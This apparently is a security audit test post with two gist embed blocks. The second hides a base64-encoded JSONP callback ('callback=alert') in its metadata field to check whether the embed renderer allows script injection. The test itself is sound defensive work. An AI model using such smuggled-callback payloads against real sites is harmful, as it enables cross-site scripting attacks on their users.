Baseline - should render gist embed:
~~~ embed:fffbe6a9e9858c7e3546fb1d55782152 gist metadata:YVZvbHBlL2ZmZmJlNmE5ZTk4NThjN2UzNTQ2ZmIxZDU1NzgyMTUy ~~~If alert() fires, JSONP callback injection works:
~~~ embed:test gist metadata:YVZvbHBlL2ZmZmJlNmE5ZTk4NThjN2UzNTQ2ZmIxZDU1NzgyMTUyLmpzb24/Y2FsbGJhY2s9YWxlcnQj ~~~Audit test by louis88
